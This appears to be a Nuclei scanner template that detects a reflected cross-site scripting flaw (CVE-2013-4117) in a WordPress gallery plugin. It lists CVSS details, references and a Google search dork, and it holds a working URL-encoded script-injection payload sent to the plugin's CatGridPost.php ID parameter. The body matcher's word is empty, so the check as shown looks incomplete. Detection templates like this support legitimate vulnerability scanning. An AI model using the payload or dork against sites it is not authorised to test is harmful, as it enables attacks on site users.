id: CVE-2013-4117 info: name: WordPress Plugin Category Grid View Gallery 2.3.1 - Cross-Site Scripting author: daffainfo severity: medium description: A cross-site scripting vulnerability in includes/CatGridPost.php in the Category Grid View Gallery plugin 2.3.1 for WordPress allows remote attackers to inject arbitrary web script or HTML via the ID parameter. impact: | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, potentially leading to session hijacking, defacement, or theft of sensitive information. remediation: | Update to the latest version of the WordPress Plugin Category Grid View Gallery or apply the provided patch to fix the XSS vulnerability. reference: - https://nvd.nist.gov/vuln/detail/CVE-2013-4117 - http://openwall.com/lists/oss-security/2013/07/11/11 - http://seclists.org/bugtraq/2013/Jul/17 - http://exploit.iedb.ir/exploits-177.html - http://packetstormsecurity.com/files/122259/WordPress-Category-Grid-View-Gallery-XSS.html classification: cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N cvss-score: 4.3 cve-id: CVE-2013-4117 cwe-id: CWE-79 epss-score: 0.01217 epss-percentile: 0.85273 cpe: cpe:2.3:a:anshul_sharma:category-grid-view-gallery:2.3.1:*:*:*:*:*:*:* metadata: max-request: 2 vendor: "anshul_sharma" product: "category-grid-view-gallery" google-query: "inurl:\"/wp-content/plugins/category-grid-view-gallery\"" tags: cve2013,cve,seclists,packetstorm,wordpress,xss,wp-plugin,anshul_sharma flow: http(1) && http(2) http: - raw: - | GET /wp-content/plugins/category-grid-view-gallery/readme.txt HTTP/1.1 Host: {{Hostname}} matchers: - type: word internal: true words: - 'Category Grid View Gallery =' - method: GET path: - '{{BaseURL}}/wp-content/plugins/category-grid-view-gallery/includes/CatGridPost.php?ID=1%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' matchers-condition: and matchers: - type: word part: body words: - "" - type: word part: header words: - text/html - type: status status: - 200 # digest: 4b0a00483046022100c958d79410ad591fa2266c2b04eb8d7b3d525fca53a54ead760998f2e163fd26022100c109ae2b7329ce4d425213b85afdd9ff66c41bdf0846af67bac4d362e20a63bf:922c64590222798bb761d5b6d8e72950